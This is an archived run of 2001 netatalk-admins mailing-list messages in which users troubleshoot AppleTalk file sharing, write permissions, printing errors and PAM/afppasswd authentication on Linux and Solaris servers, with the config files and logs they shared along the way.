Received: from mail2.passagen.se (mail2.passagen.se [195.163.107.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA19027
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 19:08:58 -0500 (EST)
Received: from henrik (dynamic-195-4.dialup.chalmers.se [129.16.195.4]) by mail2.passagen.se (8.9.3/8.9.3/1.22)
	with SMTP id <BAA01562> for <netatalk-admins@umich.edu>; Fri, 9 Mar 2001 01:08:55 +0100 (MET)
Message-ID: <000e01c0a824$da33f0e0$04c31081@henrik>
From: "Henrik" <hks@hem.passagen.se>
To: <netatalk-admins@umich.edu>
Subject: No write access
Date: Fri, 9 Mar 2001 00:09:37 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000B_01C0A82D.3A5DE2C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01C0A82D.3A5DE2C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi.

When I try to put files in my shared linux folder from the Mac it tells =
me that I don't have write access. How do I get it? The folder has the =
mode 777 so I thought that I would have the right to write to it.
Please help.

Thanks
Henrik

------=_NextPart_000_000B_01C0A82D.3A5DE2C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.100" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>When I try to put files in my shared =
linux folder=20
from the Mac it tells me that I don't have write access. How do I get =
it? The=20
folder has the mode 777 so I thought that I would have the right to =
write to=20
it.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Please help.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Henrik</FONT></DIV></BODY></HTML>

------=_NextPart_000_000B_01C0A82D.3A5DE2C0--


From netatalk.administrators-errors@umich.edu  Fri Mar  9 02:12:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA14280
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Mar 2001 02:12:14 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA23951
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Mar 2001 02:12:14 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA23923
	for netatalk.administrators-members@umich.edu; Fri, 9 Mar 2001 02:12:13 -0500 (EST)
Received: from c017.sfo.cp.net (c017-h020.c017.sfo.cp.net [209.228.12.234])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id CAA23660
	for <netatalk-admins@umich.edu>; Fri, 9 Mar 2001 02:12:07 -0500 (EST)
Received: (cpmta 4872 invoked from network); 8 Mar 2001 23:12:06 -0800
Received: from www.waaaow.com (HELO ?192.168.0.52?) (207.171.221.217)
  by smtp.terrascope.com (209.228.12.234) with SMTP; 8 Mar 2001 23:12:06 -0800
X-Sent: 9 Mar 2001 07:12:06 GMT
Mime-Version: 1.0
Message-Id: <p04320401b6ce21c15b4f@[192.168.0.52]>
In-Reply-To: <3AA86308.524708D7@mac.com>
References: <3AA1D02E.C653D0E0@mac.com>	
 <p04320401b6c85dc53337@[192.168.0.52]> <3AA4730A.4D987323@mac.com>
 <p04320401b6ca386ce350@[192.168.0.50]> <3AA86308.524708D7@mac.com>
Date: Thu, 8 Mar 2001 23:14:37 -0800
To: brian lynch <bruiser216@mac.com>
From: Walt Reed <walt@mail.terrascope.com.criticalpath.net>
Subject: Re: with red hat 7
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


>do you have any idea where i may be able to down load  appletalk to load into
>my kernel?

if you follow the guides for compiling your kernel you will find it 
in the source.  i recommend using the xconfig option, as it's the 
easiest, probably because it's graphical.  if you want to try and 
load it as a module into your existing kernel (which is what i think 
you are really asking) from the prompt, give an su command and cd to 
/.  find -name appletalk.o.  read the man page for insmod and write 
an appropriate command in your rc scripts (/etc/rc.d/init.d/atalk, in 
this case).  your line may look something like this:

/sbin/insmod /wherever/appletalk.o/lives/appletalk.o

and you would want to insert it before any real work gets done. when 
i installed a new version of netatalk on redhat 7.0, i did not have 
to do this, & don't know why. i just did it because i knew i was 
going to compile 2.4.2, but it worked with the kernel that came with 
it which i _don't_ believe had appletalk compiled into it (but i 
never checked).  you might try this last.

>AppleVolumes.system - does that point the mac to a directory when it logs in.
>i was kind of lost as to what the .system and .volumes were.

AV.system is used primarily for translation.  use AV.default for your 
shares.  i have a couple of different netatalk servers, so after the 
~ i usually add the name of the machine and a home designation, such 
as:

~	foo_home

on one machine and:

~	bar_home

on another.

so that people don't get confused in the chooser.  i also name the 
shares  differently such as:

/var/www/html	foo_apache

or

/some_directory_i'd_like_to_share	/bar_share

>and anders really
>didn't tell me how to set afpd.conf and atalk.conf.

ah, but did you read the files themselves?  they give pretty good 
documentation.  in afpd i always bind the host to the ip i want, like

	foo	-address 192.168.1.1

but you really don't have to do anything in the file.  it's just a 
habit from using a dual-homed host.

in atalkd.conf, you just have to insert the name of the interface. 
on redhat 7.0 (or any other version of redhat) you would simply place 
an "eth0" at the end of the file.  netatalk will do the rest.

reading these files will give you an idea of what's available and let 
you test out options you might like.  the only one i'd stay away from 
is the noadouble option.  it does some wierd shit on your shares.



have fun,
w


From netatalk.administrators-errors@umich.edu  Fri Mar  9 07:32:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA20467
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Mar 2001 07:32:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA17209
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Mar 2001 07:32:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA17188
	for netatalk.administrators-members@umich.edu; Fri, 9 Mar 2001 07:32:11 -0500 (EST)
Received: from mail2.passagen.se (mail2.passagen.se [195.163.107.11])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA17110
	for <netatalk-admins@umich.edu>; Fri, 9 Mar 2001 07:32:10 -0500 (EST)
Received: from henrik (dynamic-195-104.dialup.chalmers.se [129.16.195.104]) by mail2.passagen.se (8.9.3/8.9.3/1.22)
	with SMTP id <NAA09847> for <netatalk-admins@umich.edu>; Fri, 9 Mar 2001 13:32:06 +0100 (MET)
Message-ID: <000c01c0a88c$ac810bc0$68c31081@henrik>
From: "Henrik" <hks@hem.passagen.se>
To: <netatalk-admins@umich.edu>
References: <NDBBLIPGCLLELIOOICKOMEJEDKAA.heath@dave-world.net>
Subject: Re: No write access
Date: Fri, 9 Mar 2001 12:32:48 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

I am the owner of the folder.
>From the Mac I can create subfolders but I can't copy files to my linux-box.
The mac complains about that the file is locked and when I try do delete a
file I get the message that I don't have write access.
Is there any settings to be done on my Linux-box and/or for netatalk. Is
there anything I must do on my Mac to be able to write to my Linux-box. I
can tell that reading files works fine.
Please help.
//Henrik

>who is the owner of the Parent Directory you are placing the folder in.  It
has to be you.  >Group I believe must also match a group you belong to.
>Heath Henderson

-----Original Message-----
Hi.

When I try to put files in my shared linux folder from the Mac it tells me
that I don't have write access. How do I get it? The folder has the mode 777
so I thought that I would have the right to write to it.
Please help.

Thanks
Henrik


From netatalk.administrators-errors@umich.edu  Fri Mar  9 08:05:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA21046
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Mar 2001 08:05:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA20012
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Mar 2001 08:05:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA19991
	for netatalk.administrators-members@umich.edu; Fri, 9 Mar 2001 08:05:50 -0500 (EST)
Received: from tsmtp5.mail.isp ([195.235.113.141])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA19957
	for <netatalk-admins@umich.edu>; Fri, 9 Mar 2001 08:05:48 -0500 (EST)
Received: from [10.0.0.3] ([213.97.106.73]) by tsmtp5.mail.isp
          (Netscape Messaging Server 4.15) with ESMTP id G9XLLA02.JK7;
          Fri, 9 Mar 2001 14:03:10 +0100 
User-Agent: Microsoft-Entourage/9.0.2509
Date: Fri, 09 Mar 2001 14:05:44 +0100
Subject: Re: No write access
From: Jason Quigley <jasonq@mac.com>
To: Henrik <hks@hem.passagen.se>, <netatalk-admins@umich.edu>
Message-ID: <B6CE93B7.4432%jasonq@mac.com>
In-Reply-To: <000c01c0a88c$ac810bc0$68c31081@henrik>
Mime-version: 1.0
Sender: jason_quigley@terra.es
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi!

Try sending us a small portion of the directory listing from the Linux
machine. Also, telling us what version of server software you're using would
help.

Cheers,
Jason.

On 9/3/01 12:32, "Henrik" wrote:

> I am the owner of the folder.
> From the Mac I can create subfolders but I can't copy files to my linux-box.
> The mac complains about that the file is locked and when I try do delete a
> file I get the message that I don't have write access.
> Is there any settings to be done on my Linux-box and/or for netatalk. Is
> there anything I must do on my Mac to be able to write to my Linux-box. I
> can tell that reading files works fine.
> Please help.
> //Henrik
> 
>> who is the owner of the Parent Directory you are placing the folder in.  It
> has to be you.  >Group I believe must also match a group you belong to.
>> Heath Henderson
> 
> -----Original Message-----
> Hi.
> 
> When I try to put files in my shared linux folder from the Mac it tells me
> that I don't have write access. How do I get it? The folder has the mode 777
> so I thought that I would have the right to write to it.
> Please help.
> 
> Thanks
> Henrik
> 


From netatalk.administrators-errors@umich.edu  Fri Mar  9 08:53:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA22264
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Mar 2001 08:53:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA19304
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Mar 2001 08:53:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA19281
	for netatalk.administrators-members@umich.edu; Fri, 9 Mar 2001 08:53:00 -0500 (EST)
Received: from sungod.ccs.yorku.ca (sungod.ccs.yorku.ca [130.63.236.104])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA19242
	for <netatalk-admins@umich.edu>; Fri, 9 Mar 2001 08:52:58 -0500 (EST)
Received: from sunlight.ccs.yorku.ca (sunlight.ccs.yorku.ca [130.63.236.85])
	by sungod.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id IAA07793
	for <netatalk-admins@umich.edu>; Fri, 9 Mar 2001 08:52:57 -0500 (EST)
Received: from localhost (rickg@localhost)
	by sunlight.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id IAA28966
	for <netatalk-admins@umich.edu>; Fri, 9 Mar 2001 08:52:57 -0500 (EST)
X-Authentication-Warning: sunlight.ccs.yorku.ca: rickg owned process doing -bs
Date: Fri, 9 Mar 2001 08:52:57 -0500 (EST)
From: Richard Goldberg <rickg@yorku.ca>
X-X-Sender:  <rickg@sunlight.ccs.yorku.ca>
To: <netatalk-admins@umich.edu>
Subject: Postscript errors fro atalk
Message-ID: <Pine.SOL.4.31.0103090837450.28305-100000@sunlight.ccs.yorku.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi all,

Running netatalk on a solaris 7 macine with a lexmark C710 colour laser
printer.

Quite a few print jobs with colour images fail and give a postscript
error of:
	ERROR: typecheck
	OFFENDING COMMAND: colorimage
	...

If I enable appletalk on the printer and print directly to it, the job
prints fine.

Now to complicate things further... If I select the atalk printer and
select print to file. And then print the resulting postscript file from
the unix command line, it works fine. But if I configure an atalk
printer that just writes the job to a file (does not print it):
	Test Printer:\
        :pr=|cat > /tmp/print:\
        :op=lp:\
        :pd=/etc/atalk/ppd/lexmark_optrac710.ppd:
and print the resulting file from the unix command line, I get the same
postscript error as above.

I found some web pages that say this error could be cases by sending a
postscript level 2 file to a level 1 printer. But the C710 is a level 3
printer, so there should be no problem.

So my first question would be, does anyone have any ideas?

But failing that, could some one explain (or point me to some docs) how
a print jobs gets printed over atalk vs direct to the printer?

I know there is a ppd file on each mac, one on the atalk server, when
does each get used, what do they do, what is different about atalk...

Thanks.


***************************** **************************************
*Rick Goldberg              * *                                    *
*Graduate Student           * * "I never wanted to be average,     *
*Computer Science Dept      * *   because when you are average you *
*York University            * *   are just as far from the top as  *
*Toronto, Canada            * *   you are from the bottom."        *
*rickg@yorku.ca             * *              -Stan Cottrell-       *
*www.cs.yorku.ca/~rickg     * *                                    *
***************************** **************************************
     "If you don't invest very much, the defeat doesn't hurt,
             But winning isn't very exciting."



From netatalk.administrators-errors@umich.edu  Fri Mar  9 09:27:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA22947
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Mar 2001 09:27:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA12983
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Mar 2001 09:27:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA12957
	for netatalk.administrators-members@umich.edu; Fri, 9 Mar 2001 09:26:59 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id JAA12897
	for <netatalk-admins@umich.edu>; Fri, 9 Mar 2001 09:26:58 -0500 (EST)
Received: (qmail 15768 invoked by uid 500); 9 Mar 2001 14:26:52 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 9 Mar 2001 14:26:52 -0000
Date: Fri, 9 Mar 2001 08:26:52 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Jason Quigley <jasonq@mac.com>
cc: Henrik <hks@hem.passagen.se>,
        Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: No write access
In-Reply-To: <B6CE93B7.4432%jasonq@mac.com>
Message-ID: <Pine.LNX.4.30.0103090826160.15760-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I get the same "locking" message with RH7 and the Pre 5.

-Dan

On Fri, 9 Mar 2001, Jason Quigley wrote:

> Hi!
>
> Try sending us a small portion of the directory listing from the Linux
> machine. Also, telling us what version of server software you're using would
> help.
>
> Cheers,
> Jason.
>
> On 9/3/01 12:32, "Henrik" wrote:
>
> > I am the owner of the folder.
> > From the Mac I can create subfolders but I can't copy files to my linux-box.
> > The mac complains about that the file is locked and when I try do delete a
> > file I get the message that I don't have write access.
> > Is there any settings to be done on my Linux-box and/or for netatalk. Is
> > there anything I must do on my Mac to be able to write to my Linux-box. I
> > can tell that reading files works fine.
> > Please help.
> > //Henrik
> >
> >> who is the owner of the Parent Directory you are placing the folder in.  It
> > has to be you.  >Group I believe must also match a group you belong to.
> >> Heath Henderson
> >
> > -----Original Message-----
> > Hi.
> >
> > When I try to put files in my shared linux folder from the Mac it tells me
> > that I don't have write access. How do I get it? The folder has the mode 777
> > so I thought that I would have the right to write to it.
> > Please help.
> >
> > Thanks
> > Henrik
> >
>
>

-- 



From netatalk.administrators-errors@umich.edu  Fri Mar  9 10:49:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA24551
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Mar 2001 10:49:06 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21523
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Mar 2001 10:48:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21499
	for netatalk.administrators-members@umich.edu; Fri, 9 Mar 2001 10:48:57 -0500 (EST)
Received: from host9.digitalpulp.com (host14.digitalpulp.com [209.176.7.14])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA21467
	for <netatalk-admins@umich.edu>; Fri, 9 Mar 2001 10:48:56 -0500 (EST)
Received: from localhost (charwell@localhost)
	by host9.digitalpulp.com (8.11.0/8.11.0) with ESMTP id f29Fmxp31719
	for <netatalk-admins@umich.edu>; Fri, 9 Mar 2001 10:48:59 -0500
Date: Fri, 9 Mar 2001 10:48:59 -0500 (EST)
From: Chris Harwell <charwell@digitalpulp.com>
To: <netatalk-admins@umich.edu>
Subject: Re: No write access
In-Reply-To: <000c01c0a88c$ac810bc0$68c31081@henrik>
Message-ID: <Pine.LNX.4.30.0103091040540.29984-100000@host9.digitalpulp.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


On Fri, 9 Mar 2001, ?Henrik? wrote:
[snip]
> >who is the owner of the Parent Directory you are placing the folder in.  It
> has to be you.  >Group I believe must also match a group you belong to.
> >Heath Henderson


Do I understand this statement correctly, that the user must be the owner
of the parent directory !?

I had thought the user needed (read), write and execute permissions in the
parent directory

 - either 1) by being the user (UID) which owns it
 drwx______

 - or 2) in the group (GID) which own's it
d___rwx___

 - or 3) simply having a system account and having other's permissions
being rwx
d______rwx

Am I missing something?

To what extent is ultimate permission (for the user on the client)
determined by netatalk and to what extent by the underlying file system
(i.e. ext2)? What is the mapping here?

thanks,

-- 
chris
charwell@digitalpulp.com



From netatalk.administrators-errors@umich.edu  Fri Mar  9 11:34:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA25818
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Mar 2001 11:34:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA15535
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Mar 2001 11:34:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA15515
	for netatalk.administrators-members@umich.edu; Fri, 9 Mar 2001 11:34:35 -0500 (EST)
Received: from host9.digitalpulp.com (host14.digitalpulp.com [209.176.7.14])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA15454
	for <netatalk-admins@umich.edu>; Fri, 9 Mar 2001 11:34:34 -0500 (EST)
Received: from localhost (charwell@localhost)
	by host9.digitalpulp.com (8.11.0/8.11.0) with ESMTP id f29GYY532530;
	Fri, 9 Mar 2001 11:34:34 -0500
Date: Fri, 9 Mar 2001 11:34:34 -0500 (EST)
From: Chris Harwell <charwell@digitalpulp.com>
To: Matthew Geier <matthew@arts.usyd.edu.au>
cc: <Steve_Kreuzer@condenast.com>, <netatalk-admins@umich.edu>
Subject: Re: Quick Question
In-Reply-To: <3AA7F152.1B289C0E@arts.usyd.edu.au>
Message-ID: <Pine.LNX.4.30.0103091108530.29984-100000@host9.digitalpulp.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 9 Mar 2001, Matthew Geier wrote:
>  I have found with RH7 that the users Unix passwords HAVE to be less
> than 8 characters, the standard Appleshare pasword lenght. The MD5
> password hash is signficant to ALL characters of a password unlike the
> old crypt system that ignored any thing after 8 characters. So users
> with longer passwords can't login as they can't type it all in.
>
>  I think the problem exists with DHX as well, as something still expects
> to need only 8 characters of the password...

ummmmm.....

having more than 8 character password for dhx login + MD5 + shadow
+redhat-7.0 works for me.

here is my config:

netatalk-1.5pre3-1mdk
Linux 2.4.0 #2 Fri Jan 19 14:36:46 EST 2001 i686 unknown
redhat 7.0 + updates

cat /etc/pam.d/netatalk

#%PAM-1.0
auth       required     /lib/security/pam_pwdb.so shadow
account    required     /lib/security/pam_pwdb.so
#password   required    /lib/security/pam_cracklib.so
#password   required    /lib/security/pam_pwdb.so shadow use_authtok
session    required     /lib/security/pam_pwdb.so


cat /etc/pam.d/system-auth

#%PAM-1.0
# This file is auto-generated.
# User changes will be destroyed the next time authconfig is run.
auth        sufficient    /lib/security/pam_unix.so likeauth nullok md5
shadow
auth        required      /lib/security/pam_deny.so
account     sufficient    /lib/security/pam_unix.so
account     required      /lib/security/pam_deny.so
password    required      /lib/security/pam_cracklib.so retry=3
password    sufficient    /lib/security/pam_unix.so nullok use_authtok md5
shadow
password    required      /lib/security/pam_deny.so
session     required      /lib/security/pam_limits.so
session     required      /lib/security/pam_unix.so

and from /etc/atalk/afpd.conf:

 -uamlist uams_dhx.so

which looks to /etc/atalk/uams/uams_dhx.so
- actually a link: uams_dhx.so -> uams_dhx_pam.so

i've made no pam changes and configured MD5 and shadow at install time (i
think this could be done post-install through authconfig?)

of course, i'm still sorting through other (possible netatlk related)
problems - claims of dissapearing folders (which i haven't managed to
verify yet) and those afpd /var/log/messages others are seeing:

afpd[15313]: setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted
afpd[18245]: setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Operation not permitted
afpd[18245]: setdirowner: chown 16777216/-1 .AppleDouble: Operation not permitted
afpd[18245]: setdirowner: chown 16777216/-1 .: Operation not permitted
afpd[18245]: setdirowner: chown -1/0 .AppleDouble/.Parent: Operat

which i've been assuming just means i don't have file/dir ownerships,
groups and g+s all working happily together.

anyway, long passwords work fine for me - what's different?

-- 
chris
charwell@digitalpulp.com



From netatalk.administrators-errors@umich.edu  Fri Mar  9 23:06:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA11058
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Mar 2001 23:06:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA24446
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Mar 2001 23:06:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA24427
	for netatalk.administrators-members@umich.edu; Fri, 9 Mar 2001 23:06:26 -0500 (EST)
Received: from femail12.sdc1.sfba.home.com (femail12.sdc1.sfba.home.com [24.0.95.108])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA24373
	for <netatalk-admins@umich.edu>; Fri, 9 Mar 2001 23:06:25 -0500 (EST)
Received: from cc416540c ([65.1.153.26]) by femail12.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with SMTP
          id <20010310040623.LHFY2254.femail12.sdc1.sfba.home.com@cc416540c>;
          Fri, 9 Mar 2001 20:06:23 -0800
From: "Thomas Priore" <tom@rupture.net>
To: "Marcel Lammerse" <lammerse@xs4all.nl>
Cc: "Appletalk On Linux" <netatalk-admins@umich.edu>
Subject: RE: Help PLS, only guest can log in.
Date: Fri, 9 Mar 2001 23:04:51 -0500
Message-ID: <BJEHJOBOINDBHAMFMOFAAEJNCFAA.tom@rupture.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <Pine.BSI.4.10.10103080922350.8098-100000@xs3.xs4all.nl>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Thanks again for the help. i tried to create the afppasswd with -c and it
created the file with the accounts, i thenk set the passwords, but I'm still
recieving the same error. I think i'm going to try to recompile netatalk. do
you know what options i need to include and where to put them?

Thanks,
Tom

-----Original Message-----
From: Marcel Lammerse [mailto:lammerse@xs4all.nl]
Sent: Thursday, March 08, 2001 3:31 AM
To: Thomas Priore
Cc: Appletalk On Linux
Subject: RE: Help PLS, only guest can log in.


Ok..

Things I can think of:

- netatalk is not compiled with the -DUSE_PAM option and the pam-library
is not linked with the object files

- the netatalk user in /etc/atalk/afppasswd exists, but pam requires that
the same users also exists as a Unix user. In that case, you might need
to add the user with the useradd command (on redhat at least).

In my case, I had created a Unix account before I used the afppasswd
command. When I typed affpasswd -c , it extracted accounts from my Unix
password file and set the passwords to '***********'. I had to use the
afppasswd -a command to set the password in /etc/atalk/afppasswd. The
passwords for both accounts were the same in my case.

Incidently, does anyone know who to 'link' these two files? I'm probably
doing something wrong, but now I have to manage two account databases
which is very cumbersome.

You startup log messages look fine.

When I get back from work I'll send you my configuration files etc.

Regards,

Marcel

--
Marcel Lammerse

			"One more time?"
				-Michael Flatley

On Wed, 7 Mar 2001, Thomas Priore wrote:

> Thanks for your help, I didn't get it working, but I'm much closer. I'm
> getting a new error from the Mac:
> "Unknown user, incorrect password, or log on disabled...."
>
> there was no rand2numb.so, but randnumb.so was there. I think my problem
now
> lies with the passwd file. I made the changes to afpd as you recommended:
>  - -transall -uamlist
> uams_randnum.so,uams_guest.so,uams_clrtxt.so,uams_dhx.so -passwdfile
> /etc/atalk/afppasswd -setpassword -savepassword
>
> then I created the afppasswd file, and added a user with afppasswd.
>
> Some thing interesting in the messages log, atalk seems to be coming up on
> the loop back address 127.0.0.1 and doesn't mention the actual ip of the
> server. Here is the messages log:
>
> Mar  7 23:27:46 reznor atalkd[6634]: restart (1.5pre4)
> Mar  7 23:27:47 reznor atalkd[6634]: zip_getnetinfo for eth0
> Mar  7 23:28:06 reznor last message repeated 2 times
> Mar  7 23:28:16 reznor atalkd[6634]: config for no router
> Mar  7 23:28:17 reznor atalkd[6634]: ready 0/0/0
> Mar  7 23:28:17 reznor atalk: atalkd startup succeeded
> Mar  7 23:28:30 reznor papd[6649]: restart (1.5pre4)
> Mar  7 23:28:30 reznor atalk: papd startup succeeded
> Mar  7 23:28:30 reznor atalk: timelord startup succeeded
> Mar  7 23:28:30 reznor atalk: afpd startup succeeded
> Mar  7 23:28:36 reznor timelord[6659]: reznor:TimeLord started
> Mar  7 23:28:36 reznor afpd[6669]: reznor:AFPServer@* started on
> 65280.237:130 (1.5pre4)
> Mar  7 23:28:36 reznor afpd[6669]: ASIP started on 127.0.0.1:548(2)
> (1.5pre4)
> Mar  7 23:28:36 reznor afpd[6669]: uam: uams_randnum.so loaded
> Mar  7 23:28:36 reznor afpd[6669]: uam: uams_guest.so loaded
> Mar  7 23:28:36 reznor afpd[6669]: uam: uams_clrtxt.so loaded
> Mar  7 23:28:36 reznor afpd[6669]: uam: uams_dhx.so loaded
> Mar  7 23:28:36 reznor afpd[6669]: uam: "DHCAST128" available
> Mar  7 23:28:36 reznor afpd[6669]: uam: "Cleartxt Passwrd" available
> Mar  7 23:28:36 reznor afpd[6669]: uam: "No User Authent" available
